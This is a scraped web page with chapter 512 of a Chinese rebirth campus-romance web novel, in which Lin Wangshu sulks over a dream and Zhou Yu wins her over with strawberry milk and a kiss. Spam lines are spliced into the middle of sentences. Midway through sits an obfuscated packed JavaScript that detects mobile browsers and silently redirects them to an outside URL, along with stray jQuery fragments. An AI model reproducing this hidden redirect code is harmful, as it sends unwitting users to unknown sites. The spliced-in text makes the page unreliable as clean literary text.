第512章 两码事
作品:《重生:校花真是我女朋友》 约莫傍晚的时候,林望舒是305寝室第一个从午睡中醒来的。
其他三个室友还都在睡。
有的鼾声如雷,有的呼吸浅浅,还有一个安静得跟幽灵似的,几乎一点动静都没有。
生气归生气,这倒是半点没影响这位夜间限定·精神抖擞小话痨睡得跟猪一样沉。
毕竟昨晚她又是哔哔哔到半夜才肯睡。
今天一大早还爬起来赶了个早八,精力早就被榨得干干净净。
这位向来起床气很大的少女,却几乎是瞬间清醒,猛地坐了起来。
因为她做了一个梦。
一个荒唐得离谱,却又真实得过分的梦。
——她的大坏蛋和别人在一起了。
不仅在一起,还很贱地把那个女人带到她面前,晃啊晃的,非要一本正经地给介绍给她认识。
兴许是这种“爱犯贱”的行为,实在太符合某人的日常作风了。
以至于这个荒唐的梦境,让人觉得格外真实。
清冷少女从小到大几乎没受过什么委屈,可梦里却像被一只手狠狠攥了一把心脏,胸口一抽一抽地疼。
林望舒下意识抬手,按在了胸前,坐在床上,缓了好一会儿。
窗帘没拉严,傍晚的天光从缝隙里漏进来,在寝室的地板上铺了一道细细的亮线。
手机就在枕边。
屏幕朝下,黑着。
林望舒盯着看了一会儿,最终还是伸手把它翻了过来。
屏幕亮起,周屿消息是回了,但也只回了两句。
【19号新店开业,我不确定18号晚上有没有时间。到时候再看,我会尽量的。】
【迪迦奥特曼给你点赞.JPG】
——《火上浇油》
搞得人就更生气了,搞得迪迦看起来都格外的不顺眼了,看着有点贱贱的!
似乎大多数女人都是这样。
一旦开始生气,脑子就会自动翻起那些曾经让人不舒服的“旧账”。
一条一条,全都记得清清楚楚。
越翻越气,越气越难过,越难过越委屈。
最后,不知不觉就会拐到那些“他爱不爱我”、“够不够爱我”、“在不在
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
乎我的矫情问题上。
其实这种情绪拉扯,男女都不例外。
前提是,你付出了百分百的真心。
足够喜欢,就会计较。
不喜欢,才不会计较嘞!
这一刻向来自知自己“太喜欢的清冷少女,不可避免陷入了些许这样的情绪旋涡。
但她还是回了个:【哦。】
下一秒,却又冷着脸把手机扣了回去。
她重新躺下,把被子往上拉了拉,盖到下巴,只露出半个巴掌大的半张脸。
明明困意还在,却怎么都睡不着了。
脑子里,是无数个“旧账
以及刚才梦里那张没看清的脸。
是的,梦里大坏蛋带着在她面前晃啊晃的女人,不知怎的,她怎么也看不清,脸上一片模糊。
“反正,绝对没我好看。
林望舒盯着天花板气呼呼地嘟囔了一句。
就在这时,手机又震了震。
半失联一整天的老小子,这会儿倒是秒回了。
【小可爱起床了吗?】
【没有。】
【那要不要起床,我们一起去吃晚饭?】
【哦。】
【0.0】
【哦。】
看得手机另一头的周屿忍不住笑了。
十八岁的林望舒,生起气来,可比三十岁的林望舒可爱多了。
那会儿是冷处理、战略性沉默;
现在就一个“哦字反反复复地往外蹦,奶凶奶凶的。
而且也不知道她是不是故意,还是少女的情绪总是藏不住。
每次一闹别扭,都写在字里行间,明晃晃的。
于是他又笑着打了几个字。
【小可爱生气了。】
【哦。】
虽然张口闭口冷淡的和个复读机似的,但林望舒冷着脸已经起床在换衣服了。
【今天好忙,感觉自己像个陀螺。】
林望舒盯着那行字看了两秒,心想——
你哪天不像个陀螺?
还是带电动马达的那种。
她气呼
听说看这本书的人都是很幸运的,分享后你的运气会更棒
呼地起身走到桌前,翻起了化妆包。
手机很快又震了一下。
紧接着,是周屿一连串事无巨细的消息。
【7:15起床,7:20洗漱,7:35出门。】
【7:40在紫荆食堂吃了四个包子。】
【8:00到店里,跟阿娟对了昨天的账,顺便确认了下周的营销活动。】
【9:00去了科技园,9:30开晨会,讨论新品测试。】
【10:00回学校上了两节《逻辑电路》,之后又回科技园。】
【中午在那边和大家一起吃盒饭,今天是鸭子配土豆。】
【14:00和新来的运营团队开会。】
【14:30刚散会,表哥给我打了电话。】
林望舒刷睫毛膏的手,微微一顿。
王昱超?又发什么癫?
她便适时回了个字:
【哦。】
手机那头的老小子却还在继续报备。
【和表哥聊了一会儿他入股的事,明天约了见面细谈。】
【16:00准备出发,去给小可爱买牛奶。】
【16:15买好了草莓牛奶,准备去找小可爱。】
林望舒看着正起劲,都忘记生气嘞。
可等了几秒,屏幕却没再亮起。
她放下口红,指尖在屏幕上打起了字。
【然后呢?】
消息发出去的一瞬间,她才忽然意识到——现在已经17:30了。
清冷少女心口“咯噔了一下。
几乎是同时,手机震动响起,像是刚好补上了那半拍漏掉的心跳。
【等你。】
【你在哪儿?】
【楼下。】
林望舒立刻起身走到窗边,探头往下看。
宿舍楼下的干道旁,停着她家那辆白白胖胖的“小妖精“。
心口又是“咯噔了一下一下,又一下。
感觉梦中那个攥着她胸口一抽抽疼的那只大手,开始在她的胸口打鼓。
这一刻,心跳如雷。
十月中旬的京城,已经进入冬令时,五点半天
听说看这本书的人都是很幸运的,分享后你的运气会更棒
就开始暗了。
路灯还没完全亮起来,只有昏黄的暮光斜斜地照在车顶上。
林望舒眯了眯眼,努力想看清驾驶座上的人在干什么,又会是怎样的表情。
但距离有点远,只能隐约看到车里有个人影,似乎很安静地坐着。
她快速转身,看了眼镜子里的自己。
眼线刚画了一边,睫毛膏也只刷了左眼,口红还没涂。
顿时开始手忙脚乱。
口红号拿错了,又翻出来重找。
眼线画得太急,难得失手,歪了一点,只好用棉签一点点擦。
口红涂了两遍,才算勉强均匀。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944302|183283||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
向来精益求精的林大师,却连镜子里的细节都没顾上多看,五分钟不到,就穿好衣服、拎上包往外走。
可刚拉开门,又折了回来,对着镜子飞快地整理了一下头发。
这才推门出去。
走廊里很安静,只有远处传来隐约的说话声。
一路半跑半冲,第一次觉得,原来三楼到一楼,也可以这么这么远。
可到了大厅,却又刻意放慢了脚步。
推开玻璃门。
十月末的晚风有点凉,带着初冬的气息。
晚风吹在脸上,林望舒下意识缩了下脖子。
而周屿不知何时,已然下了车,来到了单元楼门口,一只手还提着个塑料袋,里头全是草莓奶。
他很自然地迎上来,伸出空着的那只手,牵住她的小手,就往自己兜里揣。
暖暖的,很安心。
于是林望舒也习惯性的,在兜里捏了捏他的手。
“给你买了草莓味的奶,买了好几种。还买了一盒你喜欢吃的草莓。
“哦。
“那你要喝草莓鲜奶、草莓牛奶、草莓酸奶还是?
“我不喝。
周屿笑了笑,拿出一袋草莓鲜奶,插上吸管,而她递了过去。
林望舒也没拒绝,接过小口小口地喝了起来。
周屿又问:“那小可爱还在生气吗?
“生。
车内,林望舒就坐在副驾,神色如常,依旧是那副清冷模样。
听说看这本书的人都是很幸运的,分享后你的运气会更棒
只是那个小嘴巴嘛,一直在嘬着奶。
周屿便给她系上了安全带。
“那请问,生气的小可爱想去哪儿?”
“你四点多就来了?”林望舒淡淡地反问了一句。
周屿点了点头:“对啊。”
“你怎么不打给我?傻等一个多小时。”林望舒低声嘀咕着。
“我知道你没回我消息,肯定是在睡觉。我等一会儿又不要紧。”
“哦。”
“所以,不生气了,好不好?”
车厢里忽然安静下来,林望舒偏头看向了他。
夜幕降临,路灯一盏一盏亮起,光影在玻璃上,在他的身后缓缓后退。
她忽然轻声道:
“你过来。”
周屿正在给自己系安全带,动作顿了一下。
愣了愣,还是松开了扣子,侧身凑了过去。
下一秒,那双冰凉的小手忽然覆上了他的脸颊。
冻得他下意识往回缩了缩脖子。
可那只手却怪有劲,毫不客气地把他往相反的方向一拽。
紧接着——嘴唇一热。
像是贴上了一块热乎乎的草莓。
林望舒就这么捧着他的大脑袋,带着点气呼呼的劲儿,在他唇上亲了好几下。
亲得毫无章法,却又“密密麻麻”,如雨点落下。
直接把老小子给亲懵了,只能感觉到她柔软的唇瓣一下一下压在自己嘴上,带着草莓牛奶的甜香。
要命的是,这里可是女生宿舍楼下,来来往往,全是人。
周屿大气都不敢喘,更不敢乱动,只能僵在原地任人摆布。
好半晌,林望舒才终于停下。
她抬手,用指腹给他擦了擦嘴角蹭到的口红,这才松了手。
周屿缩回驾驶座,下意识往窗外扫了一眼,有点心虚:
“……不生气了。”
“生气。”
林望舒淡淡道,重新系好安全带,坐得端端正正。
然而下一秒,她又说。
“可是今天还没有亲亲。”
“生气是生气,亲亲是亲亲。这是两码事。”

